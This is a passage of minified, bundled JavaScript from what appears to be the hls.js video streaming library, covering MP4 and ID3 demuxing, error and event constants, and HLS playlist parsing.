m,v=this.observer,_=this.typeSupported,y=this.config,E=[{demux:I,remux:H},{demux:T.default,remux:q},{demux:b,remux:H},{demux:D,remux:H}],S=0,w=E.length;S<w&&!(m=E[S]).demux.probe(e);S++);if(!m)return void v.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!0,reason:"no demux matching with content found"});p&&p instanceof m.remux||(p=new m.remux(v,y,_,this.vendor)),g&&g instanceof m.demux||(g=new m.demux(v,p,y,_),this.probe=m.demux.probe),this.demuxer=g,this.remuxer=p}(l||h)&&(g.resetInitSegment(r,s,a,u),p.resetInitSegment()),l&&(g.resetTimeStamp(f),p.resetTimeStamp(f)),"function"==typeof g.setDecryptData&&g.setDecryptData(t),g.append(e,o,d,c)},e}();t.default=V},"./src/demux/demuxer-worker.js":function(e,t,r){"use strict";r.r(t);var i=r("./src/demux/demuxer-inline.js"),n=r("./src/events.js"),s=r("./src/utils/logger.js"),a=r("./node_modules/eventemitter3/index.js");t.default=function(e){var t=new a.EventEmitter;t.trigger=function(e){for(var r=arguments.length,i=new Array(r>1?r-1:0),n=1;n<r;n++)i[n-1]=arguments[n];t.emit.apply(t,[e,e].concat(i))},t.off=function(e){for(var r=arguments.length,i=new Array(r>1?r-1:0),n=1;n<r;n++)i[n-1]=arguments[n];t.removeListener.apply(t,[e].concat(i))};var r=function(t,r){e.postMessage({event:t,data:r})};e.addEventListener("message",(function(n){var a=n.data;switch(a.cmd){case"init":var o=JSON.parse(a.config);e.demuxer=new i.default(t,a.typeSupported,o,a.vendor),Object(s.enableLogs)(o.debug),r("init",null);break;case"demux":e.demuxer.push(a.data,a.decryptdata,a.initSegment,a.audioCodec,a.videoCodec,a.timeOffset,a.discontinuity,a.trackSwitch,a.contiguous,a.duration,a.accurateTimeOffset,a.defaultInitPTS)}})),t.on(n.default.FRAG_DECRYPTED,r),t.on(n.default.FRAG_PARSING_INIT_SEGMENT,r),t.on(n.default.FRAG_PARSED,r),t.on(n.default.ERROR,r),t.on(n.default.FRAG_PARSING_METADATA,r),t.on(n.default.FRAG_PARSING_USERDATA,r),t.on(n.default.INIT_PTS_FOUND,r),t.on(n.default.FRAG_PARSING_DATA,(function(t,r){var i=[],n={event:t,data:r};r.data1&&(n.data1=r.data1.buffer,i.push(r.data1.buffer),delete r.data1),r.data2&&(n.data2=r.data2.buffer,i.push(r.data2.buffer),delete r.data2),e.postMessage(n,i)}))}},"./src/demux/id3.js":function(e,t,r){"use strict";r.r(t),r.d(t,"utf8ArrayToStr",(function(){return o}));var i,n=r("./src/utils/get-self-scope.js"),s=function(){function e(){}return e.isHeader=function(e,t){return t+10<=e.length&&73===e[t]&&68===e[t+1]&&51===e[t+2]&&e[t+3]<255&&e[t+4]<255&&e[t+6]<128&&e[t+7]<128&&e[t+8]<128&&e[t+9]<128},e.isFooter=function(e,t){return t+10<=e.length&&51===e[t]&&68===e[t+1]&&73===e[t+2]&&e[t+3]<255&&e[t+4]<255&&e[t+6]<128&&e[t+7]<128&&e[t+8]<128&&e[t+9]<128},e.getID3Data=function(t,r){for(var i=r,n=0;e.isHeader(t,r);)n+=10,n+=e._readSize(t,r+6),e.isFooter(t,r+10)&&(n+=10),r+=n;if(n>0)return t.subarray(i,i+n)},e._readSize=function(e,t){var r=0;return r=(127&e[t])<<21,r|=(127&e[t+1])<<14,r|=(127&e[t+2])<<7,r|=127&e[t+3]},e.getTimeStamp=function(t){for(var r=e.getID3Frames(t),i=0;i<r.length;i++){var n=r[i];if(e.isTimeStampFrame(n))return e._readTimeStamp(n)}},e.isTimeStampFrame=function(e){return e&&"PRIV"===e.key&&"com.apple.streaming.transportStreamTimestamp"===e.info},e._getFrameData=function(t){var r=String.fromCharCode(t[0],t[1],t[2],t[3]),i=e._readSize(t,4);return{type:r,size:i,data:t.subarray(10,10+i)}},e.getID3Frames=function(t){for(var r=0,i=[];e.isHeader(t,r);){for(var n=e._readSize(t,r+6),s=(r+=10)+n;r+8<s;){var a=e._getFrameData(t.subarray(r)),o=e._decodeFrame(a);o&&i.push(o),r+=a.size+10}e.isFooter(t,r)&&(r+=10)}return i},e._decodeFrame=function(t){return"PRIV"===t.type?e._decodePrivFrame(t):"W"===t.type[0]?e._decodeURLFrame(t):e._decodeTextFrame(t)},e._readTimeStamp=function(e){if(8===e.data.byteLength){var t=new Uint8Array(e.data),r=1&t[3],i=(t[4]<<23)+(t[5]<<15)+(t[6]<<7)+t[7];return i/=45,r&&(i+=47721858.84),Math.round(i)}},e._decodePrivFrame=function(t){if(!(t.size<2)){var r=e._utf8ArrayToStr(t.data,!0),i=new Uint8Array(t.data.subarray(r.length+1));return{key:t.type,info:r,data:i.buffer}}},e._decodeTextFrame=function(t){if(!(t.size<2)){if("TXXX"===t.type){var r=1,i=e._utf8ArrayToStr(t.data.subarray(r),!0);r+=i.length+1;var n=e._utf8ArrayToStr(t.data.subarray(r));return{key:t.type,info:i,data:n}}var s=e._utf8ArrayToStr(t.data.subarray(1));return{key:t.type,data:s}}},e._decodeURLFrame=function(t){if("WXXX"===t.type){if(t.size<2)return;var r=1,i=e._utf8ArrayToStr(t.data.subarray(r),!0);r+=i.length+1;var n=e._utf8ArrayToStr(t.data.subarray(r));return{key:t.type,info:i,data:n}}var s=e._utf8ArrayToStr(t.data);return{key:t.type,data:s}},e._utf8ArrayToStr=function(e,t){void 0===t&&(t=!1);var r=a();if(r){var i=r.decode(e);if(t){var n=i.indexOf("\0");return-1!==n?i.substring(0,n):i}return i.replace(/\0/g,"")}for(var s,o,l,h=e.length,d="",u=0;u<h;){if(0===(s=e[u++])&&t)return d;if(0!==s&&3!==s)switch(s>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:d+=String.fromCharCode(s);break;case 12:case 13:o=e[u++],d+=String.fromCharCode((31&s)<<6|63&o);break;case 14:o=e[u++],l=e[u++],d+=String.fromCharCode((15&s)<<12|(63&o)<<6|(63&l)<<0)}}return d},e}();function a(){var e=Object(n.getSelfScope)();return i||void 0===e.TextDecoder||(i=new e.TextDecoder("utf-8")),i}var o=s._utf8ArrayToStr;t.default=s},"./src/demux/mp4demuxer.js":function(e,t,r){"use strict";r.r(t);var i=r("./src/utils/logger.js"),n=r("./src/events.js"),s=Math.pow(2,32)-1,a=function(){function e(e,t){this.observer=e,this.remuxer=t}var t=e.prototype;return t.resetTimeStamp=function(e){this.initPTS=e},t.resetInitSegment=function(t,r,i,s){if(t&&t.byteLength){var a=this.initData=e.parseInitSegment(t);null==r&&(r="mp4a.40.5"),null==i&&(i="avc1.42e01e");var o={};a.audio&&a.video?o.audiovideo={container:"video/mp4",codec:r+","+i,initSegment:s?t:null}:(a.audio&&(o.audio={container:"audio/mp4",codec:r,initSegment:s?t:null}),a.video&&(o.video={container:"video/mp4",codec:i,initSegment:s?t:null})),this.observer.trigger(n.default.FRAG_PARSING_INIT_SEGMENT,{tracks:o})}else r&&(this.audioCodec=r),i&&(this.videoCodec=i)},e.probe=function(t){return e.findBox({data:t,start:0,end:Math.min(t.length,16384)},["moof"]).length>0},e.bin2str=function(e){return String.fromCharCode.apply(null,e)},e.readUint16=function(e,t){e.data&&(t+=e.start,e=e.data);var r=e[t]<<8|e[t+1];return r<0?65536+r:r},e.readUint32=function(e,t){e.data&&(t+=e.start,e=e.data);var r=e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3];return r<0?4294967296+r:r},e.writeUint32=function(e,t,r){e.data&&(t+=e.start,e=e.data),e[t]=r>>24,e[t+1]=r>>16&255,e[t+2]=r>>8&255,e[t+3]=255&r},e.findBox=function(t,r){var i,n,s,a,o,l,h=[];if(t.data?(o=t.start,s=t.end,t=t.data):(o=0,s=t.byteLength),!r.length)return null;for(i=o;i<s;)l=(n=e.readUint32(t,i))>1?i+n:s,e.bin2str(t.subarray(i+4,i+8))===r[0]&&(1===r.length?h.push({data:t,start:i+8,end:l}):(a=e.findBox({data:t,start:i+8,end:l},r.slice(1))).length&&(h=h.concat(a))),i=l;return h},e.parseSegmentIndex=function(t){var r,i=e.findBox(t,["moov"])[0],n=i?i.end:null,s=0,a=e.findBox(t,["sidx"]);if(!a||!a[0])return null;r=[];var o=(a=a[0]).data[0];s=0===o?8:16;var l=e.readUint32(a,s);s+=4,s+=0===o?8:16,s+=2;var h=a.end+0,d=e.readUint16(a,s);s+=2;for(var u=0;u<d;u++){var c=s,f=e.readUint32(a,c);c+=4;var g=2147483647&f;if(1==(2147483648&f)>>>31)return void console.warn("SIDX has hierarchical references (not supported)");var p=e.readUint32(a,c);c+=4,r.push({referenceSize:g,subsegmentDuration:p,info:{duration:p/l,start:h,end:h+g-1}}),h+=g,s=c+=4}return{earliestPresentationTime:0,timescale:l,version:o,referencesCount:d,references:r,moovEndOffset:n}},e.parseInitSegment=function(t){var r=[];return e.findBox(t,["moov","trak"]).forEach((function(t){var n=e.findBox(t,["tkhd"])[0];if(n){var s=n.data[n.start],a=0===s?12:20,o=e.readUint32(n,a),l=e.findBox(t,["mdia","mdhd"])[0];if(l){a=0===(s=l.data[l.start])?12:20;var h=e.readUint32(l,a),d=e.findBox(t,["mdia","hdlr"])[0];if(d){var u={soun:"audio",vide:"video"}[e.bin2str(d.data.subarray(d.start+8,d.start+12))];if(u){var c=e.findBox(t,["mdia","minf","stbl","stsd"]);if(c.length){c=c[0];var f=e.bin2str(c.data.subarray(c.start+12,c.start+16));i.logger.log("MP4Demuxer:"+u+":"+f+" found")}r[o]={timescale:h,type:u},r[u]={timescale:h,id:o}}}}}})),r},e.getStartDTS=function(t,r){var i,n,s;return i=e.findBox(r,["moof","traf"]),n=[].concat.apply([],i.map((function(r){return e.findBox(r,["tfhd"]).map((function(i){var n,s,a;return n=e.readUint32(i,4),s=t[n].timescale||9e4,a=e.findBox(r,["tfdt"]).map((function(t){var r,i;return r=t.data[t.start],i=e.readUint32(t,4),1===r&&(i*=Math.pow(2,32),i+=e.readUint32(t,8)),i}))[0],a/s}))}))),s=Math.min.apply(null,n),isFinite(s)?s:0},e.offsetStartDTS=function(t,r,i){e.findBox(r,["moof","traf"]).map((function(r){return e.findBox(r,["tfhd"]).map((function(n){var a=e.readUint32(n,4),o=t[a].timescale||9e4;e.findBox(r,["tfdt"]).map((function(t){var r=t.data[t.start],n=e.readUint32(t,4);if(0===r)e.writeUint32(t,4,n-i*o);else{n*=Math.pow(2,32),n+=e.readUint32(t,8),n-=i*o,n=Math.max(n,0);var a=Math.floor(n/(s+1)),l=Math.floor(n%(s+1));e.writeUint32(t,4,a),e.writeUint32(t,8,l)}}))}))}))},t.append=function(t,r,i,s){var a=this.initData;a||(this.resetInitSegment(t,this.audioCodec,this.videoCodec,!1),a=this.initData);var o,l=this.initPTS;if(void 0===l){var h=e.getStartDTS(a,t);this.initPTS=l=h-r,this.observer.trigger(n.default.INIT_PTS_FOUND,{initPTS:l})}e.offsetStartDTS(a,t,l),o=e.getStartDTS(a,t),this.remuxer.remux(a.audio,a.video,null,null,o,i,s,t)},t.destroy=function(){},e}();t.default=a},"./src/empty.js":function(e,t){e.exports=void 0},"./src/errors.ts":function(e,t,r){"use strict";var i,n;r.r(t),r.d(t,"ErrorTypes",(function(){return i})),r.d(t,"ErrorDetails",(function(){return n})),function(e){e.NETWORK_ERROR="networkError",e.MEDIA_ERROR="mediaError",e.KEY_SYSTEM_ERROR="keySystemError",e.MUX_ERROR="muxError",e.OTHER_ERROR="otherError"}(i||(i={})),function(e){e.KEY_SYSTEM_NO_KEYS="keySystemNoKeys",e.KEY_SYSTEM_NO_ACCESS="keySystemNoAccess",e.KEY_SYSTEM_NO_SESSION="keySystemNoSession",e.KEY_SYSTEM_LICENSE_REQUEST_FAILED="keySystemLicenseRequestFailed",e.KEY_SYSTEM_NO_INIT_DATA="keySystemNoInitData",e.MANIFEST_LOAD_ERROR="manifestLoadError",e.MANIFEST_LOAD_TIMEOUT="manifestLoadTimeOut",e.MANIFEST_PARSING_ERROR="manifestParsingError",e.MANIFEST_INCOMPATIBLE_CODECS_ERROR="manifestIncompatibleCodecsError",e.LEVEL_EMPTY_ERROR="levelEmptyError",e.LEVEL_LOAD_ERROR="levelLoadError",e.LEVEL_LOAD_TIMEOUT="levelLoadTimeOut",e.LEVEL_SWITCH_ERROR="levelSwitchError",e.AUDIO_TRACK_LOAD_ERROR="audioTrackLoadError",e.AUDIO_TRACK_LOAD_TIMEOUT="audioTrackLoadTimeOut",e.FRAG_LOAD_ERROR="fragLoadError",e.FRAG_LOAD_TIMEOUT="fragLoadTimeOut",e.FRAG_DECRYPT_ERROR="fragDecryptError",e.FRAG_PARSING_ERROR="fragParsingError",e.REMUX_ALLOC_ERROR="remuxAllocError",e.KEY_LOAD_ERROR="keyLoadError",e.KEY_LOAD_TIMEOUT="keyLoadTimeOut",e.BUFFER_ADD_CODEC_ERROR="bufferAddCodecError",e.BUFFER_APPEND_ERROR="bufferAppendError",e.BUFFER_APPENDING_ERROR="bufferAppendingError",e.BUFFER_STALLED_ERROR="bufferStalledError",e.BUFFER_FULL_ERROR="bufferFullError",e.BUFFER_SEEK_OVER_HOLE="bufferSeekOverHole",e.BUFFER_NUDGE_ON_STALL="bufferNudgeOnStall",e.INTERNAL_EXCEPTION="internalException"}(n||(n={}))},"./src/events.js":function(e,t,r){"use strict";r.r(t),t.default={MEDIA_ATTACHING:"hlsMediaAttaching",MEDIA_ATTACHED:"hlsMediaAttached",MEDIA_DETACHING:"hlsMediaDetaching",MEDIA_DETACHED:"hlsMediaDetached",BUFFER_RESET:"hlsBufferReset",BUFFER_CODECS:"hlsBufferCodecs",BUFFER_CREATED:"hlsBufferCreated",BUFFER_APPENDING:"hlsBufferAppending",BUFFER_APPENDED:"hlsBufferAppended",BUFFER_EOS:"hlsBufferEos",BUFFER_FLUSHING:"hlsBufferFlushing",BUFFER_FLUSHED:"hlsBufferFlushed",MANIFEST_LOADING:"hlsManifestLoading",MANIFEST_LOADED:"hlsManifestLoaded",MANIFEST_PARSED:"hlsManifestParsed",LEVEL_SWITCHING:"hlsLevelSwitching",LEVEL_SWITCHED:"hlsLevelSwitched",LEVEL_LOADING:"hlsLevelLoading",LEVEL_LOADED:"hlsLevelLoaded",LEVEL_UPDATED:"hlsLevelUpdated",LEVEL_PTS_UPDATED:"hlsLevelPtsUpdated",LEVELS_UPDATED:"hlsLevelsUpdated",AUDIO_TRACKS_UPDATED:"hlsAudioTracksUpdated",AUDIO_TRACK_SWITCHING:"hlsAudioTrackSwitching",AUDIO_TRACK_SWITCHED:"hlsAudioTrackSwitched",AUDIO_TRACK_LOADING:"hlsAudioTrackLoading",AUDIO_TRACK_LOADED:"hlsAudioTrackLoaded",SUBTITLE_TRACKS_UPDATED:"hlsSubtitleTracksUpdated",SUBTITLE_TRACK_SWITCH:"hlsSubtitleTrackSwitch",SUBTITLE_TRACK_LOADING:"hlsSubtitleTrackLoading",SUBTITLE_TRACK_LOADED:"hlsSubtitleTrackLoaded",SUBTITLE_FRAG_PROCESSED:"hlsSubtitleFragProcessed",CUES_PARSED:"hlsCuesParsed",NON_NATIVE_TEXT_TRACKS_FOUND:"hlsNonNativeTextTracksFound",INIT_PTS_FOUND:"hlsInitPtsFound",FRAG_LOADING:"hlsFragLoading",FRAG_LOAD_PROGRESS:"hlsFragLoadProgress",FRAG_LOAD_EMERGENCY_ABORTED:"hlsFragLoadEmergencyAborted",FRAG_LOADED:"hlsFragLoaded",FRAG_DECRYPTED:"hlsFragDecrypted",FRAG_PARSING_INIT_SEGMENT:"hlsFragParsingInitSegment",FRAG_PARSING_USERDATA:"hlsFragParsingUserdata",FRAG_PARSING_METADATA:"hlsFragParsingMetadata",FRAG_PARSING_DATA:"hlsFragParsingData",FRAG_PARSED:"hlsFragParsed",FRAG_BUFFERED:"hlsFragBuffered",FRAG_CHANGED:"hlsFragChanged",FPS_DROP:"hlsFpsDrop",FPS_DROP_LEVEL_CAPPING:"hlsFpsDropLevelCapping",ERROR:"hlsError",DESTROYING:"hlsDestroying",KEY_LOADING:"hlsKeyLoading",KEY_LOADED:"hlsKeyLoaded",STREAM_STATE_TRANSITION:"hlsStreamStateTransition",LIVE_BACK_BUFFER_REACHED:"hlsLiveBackBufferReached"}},"./src/hls.ts":function(e,t,r){"use strict";r.r(t),r.d(t,"default",(function(){return tt}));var i,n,s=r("./node_modules/url-toolkit/src/url-toolkit.js"),a=r("./src/errors.ts"),o=r("./src/polyfills/number.js"),l=r("./src/events.js"),h=r("./src/utils/logger.js"),d={hlsEventGeneric:!0,hlsHandlerDestroying:!0,hlsHandlerDestroyed:!0},u=function(){function e(e){this.hls=void 0,this.handledEvents=void 0,this.useGenericHandler=void 0,this.hls=e,this.onEvent=this.onEvent.bind(this);for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];this.handledEvents=r,this.useGenericHandler=!0,this.registerListeners()}var t=e.prototype;return t.destroy=function(){this.onHandlerDestroying(),this.unregisterListeners(),this.onHandlerDestroyed()},t.onHandlerDestroying=function(){},t.onHandlerDestroyed=function(){},t.isEventHandler=function(){return"object"==typeof this.handledEvents&&this.handledEvents.length&&"function"==typeof this.onEvent},t.registerListeners=function(){this.isEventHandler()&&this.handledEvents.forEach((function(e){if(d[e])throw new Error("Forbidden event-name: "+e);this.hls.on(e,this.onEvent)}),this)},t.unregisterListeners=function(){this.isEventHandler()&&this.handledEvents.forEach((function(e){this.hls.off(e,this.onEvent)}),this)},t.onEvent=function(e,t){this.onEventGeneric(e,t)},t.onEventGeneric=function(e,t){try{(function(e,t){var r="on"+e.replace("hls","");if("function"!=typeof this[r])throw new Error("Event "+e+" has no generic handler in this "+this.constructor.name+" class (tried "+r+")");return this[r].bind(this,t)}).call(this,e,t).call()}catch(t){h.logger.error("An internal error happened while handling event "+e+'. Error message: "'+t.message+'". Here is a stacktrace:',t),this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.INTERNAL_EXCEPTION,fatal:!1,event:e,err:t})}},e}(),c=u;!function(e){e.MANIFEST="manifest",e.LEVEL="level",e.AUDIO_TRACK="audioTrack",e.SUBTITLE_TRACK="subtitleTrack"}(i||(i={})),function(e){e.MAIN="main",e.AUDIO="audio",e.SUBTITLE="subtitle"}(n||(n={}));var f=r("./src/demux/mp4demuxer.js");function g(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var p,m=function(){function e(e,t){this._uri=null,this.baseuri=void 0,this.reluri=void 0,this.method=null,this.key=null,this.iv=null,this.baseuri=e,this.reluri=t}var t,r,i;return t=e,(r=[{key:"uri",get:function(){return!this._uri&&this.reluri&&(this._uri=Object(s.buildAbsoluteURL)(this.baseuri,this.reluri,{alwaysNormalize:!0})),this._uri}}])&&g(t.prototype,r),i&&g(t,i),e}();function v(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}!function(e){e.AUDIO="audio",e.VIDEO="video"}(p||(p={}));var _=function(){function e(){var e;this._url=null,this._byteRange=null,this._decryptdata=null,this._elementaryStreams=((e={})[p.AUDIO]=!1,e[p.VIDEO]=!1,e),this.deltaPTS=0,this.rawProgramDateTime=null,this.programDateTime=null,this.title=null,this.tagList=[],this.cc=void 0,this.type=void 0,this.relurl=void 0,this.baseurl=void 0,this.duration=void 0,this.start=void 0,this.sn=0,this.urlId=0,this.level=0,this.levelkey=void 0,this.loader=void 0}var t,r,i,n=e.prototype;return n.setByteRange=function(e,t){var r=e.split("@",2),i=[];1===r.length?i[0]=t?t.byteRangeEndOffset:0:i[0]=parseInt(r[1]),i[1]=parseInt(r[0])+i[0],this._byteRange=i},n.addElementaryStream=function(e){this._elementaryStreams[e]=!0},n.hasElementaryStream=function(e){return!0===this._elementaryStreams[e]},n.createInitializationVector=function(e){for(var t=new Uint8Array(16),r=12;r<16;r++)t[r]=e>>8*(15-r)&255;return t},n.setDecryptDataFromLevelKey=function(e,t){var r=e;return(null==e?void 0:e.method)&&e.uri&&!e.iv&&((r=new m(e.baseuri,e.reluri)).method=e.method,r.iv=this.createInitializationVector(t)),r},t=e,(r=[{key:"url",get:function(){return!this._url&&this.relurl&&(this._url=Object(s.buildAbsoluteURL)(this.baseurl,this.relurl,{alwaysNormalize:!0})),this._url},set:function(e){this._url=e}},{key:"byteRange",get:function(){return this._byteRange?this._byteRange:[]}},{key:"byteRangeStartOffset",get:function(){return this.byteRange[0]}},{key:"byteRangeEndOffset",get:function(){return this.byteRange[1]}},{key:"decryptdata",get:function(){if(!this.levelkey&&!this._decryptdata)return null;if(!this._decryptdata&&this.levelkey){var e=this.sn;"number"!=typeof e&&(this.levelkey&&"AES-128"===this.levelkey.method&&!this.levelkey.iv&&h.logger.warn('missing IV for initialization segment with method="'+this.levelkey.method+'" - compliance issue'),e=0),this._decryptdata=this.setDecryptDataFromLevelKey(this.levelkey,e)}return this._decryptdata}},{key:"endProgramDateTime",get:function(){if(null===this.programDateTime)return null;if(!Object(o.isFiniteNumber)(this.programDateTime))return null;var e=Object(o.isFiniteNumber)(this.duration)?this.duration:0;return this.programDateTime+1e3*e}},{key:"encrypted",get:function(){return!(!this.decryptdata||null===this.decryptdata.uri||null!==this.decryptdata.key)}}])&&v(t.prototype,r),i&&v(t,i),e}();function y(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var E=function(){function e(e){this.endCC=0,this.endSN=0,this.fragments=[],this.initSegment=null,this.live=!0,this.needSidxRanges=!1,this.startCC=0,this.startSN=0,this.startTimeOffset=null,this.targetduration=0,this.totalduration=0,this.type=null,this.url=e,this.version=null}var t,r,i;return t=e,(r=[{key:"hasProgramDateTime",get:function(){return!(!this.fragments[0]||!Object(o.isFiniteNumber)(this.fragments[0].programDateTime))}}])&&y(t.prototype,r),i&&y(t,i),e}(),S=/^(\d+)x(\d+)$/,b=/\s*(.+?)\s*=((?:\".*?\")|.*?)(?:,|$)/g,T=function(){function e(t){for(var r in"string"==typeof t&&(t=e.parseAttrList(t)),t)t.hasOwnProperty(r)&&(this[r]=t[r])}var t=e.prototype;return t.decimalInteger=function(e){var t=parseInt(this[e],10);return t>Number.MAX_SAFE_INTEGER?1/0:t},t.hexadecimalInteger=function(e){if(this[e]){var t=(this[e]||"0x").slice(2);t=(1&t.length?"0":"")+t;for(var r=new Uint8Array(t.length/2),i=0;i<t.length/2;i++)r[i]=parseInt(t.slice(2*i,2*i+2),16);return r}return null},t.hexadecimalIntegerAsNumber=function(e){var t=parseInt(this[e],16);return t>Number.MAX_SAFE_INTEGER?1/0:t},t.decimalFloatingPoint=function(e){return parseFloat(this[e])},t.enumeratedString=function(e){return this[e]},t.decimalResolution=function(e){var t=S.exec(this[e]);if(null!==t)return{width:parseInt(t[1],10),height:parseInt(t[2],10)}},e.parseAttrList=function(e){var t,r={};for(b.lastIndex=0;null!==(t=b.exec(e));){var i=t[2];0===i.indexOf('"')&&i.lastIndexOf('"')===i.length-1&&(i=i.slice(1,-1)),r[t[1]]=i}return r},e}(),w={audio:{a3ds:!0,"ac-3":!0,"ac-4":!0,alac:!0,alaw:!0,dra1:!0,"dts+":!0,"dts-":!0,dtsc:!0,dtse:!0,dtsh:!0,"ec-3":!0,enca:!0,g719:!0,g726:!0,m4ae:!0,mha1:!0,mha2:!0,mhm1:!0,mhm2:!0,mlpa:!0,mp4a:!0,"raw ":!0,Opus:!0,samr:!0,sawb:!0,sawp:!0,sevc:!0,sqcp:!0,ssmv:!0,twos:!0,ulaw:!0},video:{avc1:!0,avc2:!0,avc3:!0,avc4:!0,avcp:!0,drac:!0,dvav:!0,dvhe:!0,encv:!0,hev1:!0,hvc1:!0,mjp2:!0,mp4v:!0,mvc1:!0,mvc2:!0,mvc3:!0,mvc4:!0,resv:!0,rv60:!0,s263:!0,svc1:!0,svc2:!0,"vc-1":!0,vp08:!0,vp09:!0}};function A(e,t){return MediaSource.isTypeSupported((t||"video")+'/mp4;codecs="'+e+'"')}var P=/(?:#EXT-X-STREAM-INF:([^\n\r]*)[\r\n]+([^\r\n]+)|#EXT-X-SESSION-DATA:([^\n\r]*)[\r\n]+)/g,L=/#EXT-X-MEDIA:(.*)/g,R=new RegExp([/#EXTINF:\s*(\d*(?:\.\d+)?)(?:,(.*)\s+)?/.source,/|(?!#)([\S+ ?]+)/.source,/|#EXT-X-BYTERANGE:*(.+)/.source,/|#EXT-X-PROGRAM-DATE-TIME:(.+)/.source,/|#.*/.source].join(""),"g"),I=/(?:(?:#(EXTM3U))|(?:#EXT-X-(PLAYLIST-TYPE):(.+))|(?:#EXT-X-(MEDIA-SEQUENCE): *(\d+))|(?:#EXT-X-(TARGETDURATION): *(\d+))|(?:#EXT-X-(KEY):(.+))|(?:#EXT-X-(START):(.+))|(?:#EXT-X-(ENDLIST))|(?:#EXT-X-(DISCONTINUITY-SEQ)UENCE:(\d+))|(?:#EXT-X-(DIS)CONTINUITY))|(?:#EXT-X-(VERSION):(\d+))|(?:#EXT-X-(MAP):(.+))|(?:(#)([^:]*):(.*))|(?:(#)(.*))(?:.*)\r?\n?/,D=/\.(mp4|m4s|m4v|m4a)$/i,C=function(){function e(){}return e.findGroup=function(e,t){for(var r=0;r<e.length;r++){var i=e[r];if(i.id===t)return i}},e.convertAVC1ToAVCOTI=function(e){var t,r=e.split(".");return r.length>2?(t=r.shift()+".",t+=parseInt(r.shift()).toString(16),t+=("000"+parseInt(r.shift()).toString(16)).substr(-4)):t=e,t},e.resolve=function(e,t){return s.buildAbsoluteURL(t,e,{alwaysNormalize:!0})},e.parseMasterPlaylist=function(t,r){var i,n=[],s={},a=!1;function o(e,t){["video","audio"].forEach((function(r){var i=e.filter((function(e){return function(e,t){var r=w[t];return!!r&&!0===r[e.slice(0,4)]}(e,r)}));if(i.length){var n=i.filter((function(e){return 0===e.lastIndexOf("avc1",0)||0===e.lastIndexOf("mp4a",0)}));t[r+"Codec"]=n.length>0?n[0]:i[0],e=e.filter((function(e){return-1===i.indexOf(e)}))}})),t.unknownCodecs=e}for(P.lastIndex=0;null!=(i=P.exec(t));)if(i[1]){var l={},h=l.attrs=new T(i[1]);l.url=e.resolve(i[2],r);var d=h.decimalResolution("RESOLUTION");d&&(l.width=d.width,l.height=d.height),l.bitrate=h.decimalInteger("AVERAGE-BANDWIDTH")||h.decimalInteger("BANDWIDTH"),l.name=h.NAME,o([].concat((h.CODECS||"").split(/[ ,]+/)),l),l.videoCodec&&-1!==l.videoCodec.indexOf("avc1")&&(l.videoCodec=e.convertAVC1ToAVCOTI(l.videoCodec)),n.push(l)}else if(i[3]){var u=new T(i[3]);u["DATA-ID"]&&(a=!0,s[u["DATA-ID"]]=u)}return{levels:n,sessionData:a?s:null}},e.parseMasterPlaylistMedia=function(t,r,i,n){var s;void 0===n&&(n=[]);var a=[],o=0;for(L.lastIndex=0;null!==(s=L.exec(t));){var l=new T(s[1]);if(l.TYPE===i){var h={attrs:l,id:o++,groupId:l["GROUP-ID"],instreamId:l["INSTREAM-ID"],name:l.NAME||l.LANGUAGE,type:i,default:"YES"===l.DEFAULT,autoselect:"YES"===l.AUTOSELECT,forced:"YES"===l.FORCED,lang:l.LANGUAGE};if(l.URI&&(h.url=e.resolve(l.URI,r)),n.length){var d=e.findGroup(n,h.groupId);h.audioCodec=d?d.codec:n[0].codec}a.push(h)}}return a},e.parseLevelPlaylist=function(e,t,r,i,n){var s,a,l,d=0,u=0,c=new E(t),f=0,g=null,p=new _,v=null;for(R.lastIndex=0;null!==(s=R.exec(e));){var y=s[1];if(y){p.duration=parseFloat(y);var S=(" "+s[2]).slice(1);p.title=S||null,p.tagList.push(S?["INF",y,S]:["INF",y])}else if(s[3]){if(Object(o.isFiniteNumber)(p.duration)){var b=d++;p.type=i,p.start=u,l&&(p.levelkey=l),p.sn=b,p.level=r,p.cc=f,p.urlId=n,p.baseurl=t,p.relurl=(" "+s[3]).slice(1),x(p,g),c.fragments.push(p),g=p,u+=p.duration,p=new _}}else if(s[4]){var w=(" "+s[4]).slice(1);g?p.setByteRange(w,g):p.setByteRange(w)}else if(s[5])p.rawProgramDateTime=(" "+s[5]).slice(1),p.tagList.push(["PROGRAM-DATE-TIME",p.rawProgramDateTime]),null===v&&(v=c.fragments.length);else{if(!(s=s[0].match(I))){h.logger.warn("No matches on slow regex match for level playlist!");continue}for(a=1;a<s.length&&void 0===s[a];a++);var A=(" "+s[a+1]).slice(1),P=(" "+s[a+2]).slice(1);switch(s[a]){case"#":p.tagList.push(P?[A,P]:[A]);break;case"PLAYLIST-TYPE":c.type=A.toUpperCase();break;case"MEDIA-SEQUENCE":d=c.startSN=parseInt(A);break;case"TARGETDURATION":c.targetduration=parseFloat(A);break;case"VERSION":c.version=parseInt(A);break;case"EXTM3U":break;case"ENDLIST":c.live=!1;break;case"DIS":f++,p.tagList.push(["DIS"]);break;case"DISCONTINUITY-SEQ":f=parseInt(A);break;case"KEY":var L=new T(A),C=L.enumeratedString("METHOD"),O=L.URI,M=L.hexadecimalInteger("IV");if("com.apple.streamingkeydelivery"===(L.KEYFORMAT||"identity")){h.logger.warn("Keyformat com.apple.streamingkeydelivery is not supported");continue}C&&(l=new m(t,O),O&&["AES-128","SAMPLE-AES","SAMPLE-AES-CENC"].indexOf(C)>=0&&(l.method=C,l.key=null,l.iv=M));break;case"START":var k=new 